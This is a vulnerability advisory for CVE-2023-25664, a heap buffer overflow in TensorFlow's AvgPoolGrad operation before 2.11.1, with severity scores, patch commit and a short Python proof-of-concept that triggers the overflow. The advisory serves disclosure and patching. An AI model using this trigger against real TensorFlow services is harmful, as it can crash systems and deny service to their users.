CVE-2023-25664 – tensorflow

Package

Manager: pip
Name: tensorflow
Vulnerable Version: >=0 <2.11.1

Severity

Level: High

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS: 0.0008 pctl0.24448

Details

TensorFlow has Heap-buffer-overflow in AvgPoolGrad ### Impact ```python import os os.environ['TF_ENABLE_ONEDNN_OPTS'] = '0' import tensorflow as tf print(tf.__version__) with tf.device("CPU"): ksize = [1, 40, 128, 1] strides = [1, 128, 128, 30] padding = "SAME" data_format = "NHWC" orig_input_shape = [11, 9, 78, 9] grad = tf.saturate_cast(tf.random.uniform([16, 16, 16, 16], minval=-128, maxval=129, dtype=tf.int64), dtype=tf.float32) res = tf.raw_ops.AvgPoolGrad( ksize=ksize, strides=strides, padding=padding, data_format=data_format, orig_input_shape=orig_input_shape, grad=grad, ) ``` ### Patches We have patched the issue in GitHub commit [ddaac2bdd099bec5d7923dea45276a7558217e5b](https://github.com/tensorflow/tensorflow/commit/ddaac2bdd099bec5d7923dea45276a7558217e5b). The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1 ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by <evn@google.com>

Metadata

Created: 2023-03-24T21:58:04Z
Modified: 2023-03-27T22:00:19Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/03/GHSA-6hg6-5c2q-7rcr/GHSA-6hg6-5c2q-7rcr.json
CWE IDs: ["CWE-120", "CWE-122"]
Alternative ID: GHSA-6hg6-5c2q-7rcr
Finding: F184
Auto approve: 1